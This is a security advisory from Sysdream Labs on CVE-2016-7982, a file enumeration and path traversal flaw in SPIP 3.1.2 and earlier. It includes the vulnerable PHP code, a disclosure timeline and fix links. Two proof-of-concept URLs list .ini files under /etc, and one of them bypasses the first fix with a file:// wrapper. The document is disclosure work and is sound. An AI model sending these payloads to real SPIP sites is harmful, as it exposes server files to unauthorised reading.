07fdc778ee
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3.3 KiB
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## SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)
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### Product Description
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SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.
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### Vulnerability Description
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The `valider_xml` file can be used to enumerate files on the system.
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**Access Vector**: remote
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**Security Risk**: medium
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**Vulnerability**: CWE-538
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**CVSS Base Score**: 4.9 (Medium)
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**CVE-ID**: CVE-2016-7982
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### Proof of Concept
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Enumerating `.ini` files inside `/etc` (SPIP 3.1.1) :
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http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2
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Bypassing SPIP 3.1.2 protection using PHP Wrappers :
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http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2
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### Vulnerable code
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if (is_dir($url)) {
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$dir = (substr($url, -1, 1) === '/') ? $url : "$url/";
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$ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;
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$files = preg_files($dir, "$ext$", $limit, $rec);
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if (!$files and $ext !== 'html') {
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$files = preg_files($dir, 'html$', $limit, $rec);
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if ($files) {
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$ext = 'html';
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}
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}
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if ($files) {
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$res = valider_dir($files, $ext, $url);
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list($err, $res) = valider_resultats($res, $ext === 'html');
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File names are stored in `$res` and displayed by `echo` on line 146 :
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echo "<h1>", $titre, '<br>', $bandeau, '</h1>',
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"<div style='text-align: center'>", $onfocus, "</div>",
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$res,
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fin_page();
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### Timeline (dd/mm/yyyy)
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* 15/09/2016 : Initial discovery
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* 26/09/2016 : Contact with SPIP Team
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* 27/09/2016 : Answer from SPIP Team, sent advisory details
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* 27/09/2016 : Incorrect fixes for Path Traversal
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* 27/09/2016 : New proof of concept for bypassing Path Traversal sent.
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* 27/09/2016 : Bad fix for Path Traversal (23185)
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* 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.
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* 28/09/2016 : Fixes issued Path Traversal (23200)
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* 30/09/2016 : SPIP 3.1.3 Released
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### Fixes
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* https://core.spip.net/projects/spip/repository/revisions/23207
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* https://core.spip.net/projects/spip/repository/revisions/23208
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* https://core.spip.net/projects/spip/repository/revisions/23206
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* https://core.spip.net/projects/spip/repository/revisions/23202
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* https://core.spip.net/projects/spip/repository/revisions/23201
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* https://core.spip.net/projects/spip/repository/revisions/23200
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* https://core.spip.net/projects/spip/repository/revisions/23191
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* https://core.spip.net/projects/spip/repository/revisions/23190
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* https://core.spip.net/projects/spip/repository/revisions/23193
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* https://core.spip.net/projects/spip/repository/revisions/23188
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* https://core.spip.net/projects/spip/repository/revisions/23187
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* https://core.spip.net/projects/spip/repository/revisions/23185
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* https://core.spip.net/projects/spip/repository/revisions/23182
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* https://core.spip.net/projects/spip/repository/revisions/23184
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### Affected versions
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* Version <= 3.1.2
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### Credits
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* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
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-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream |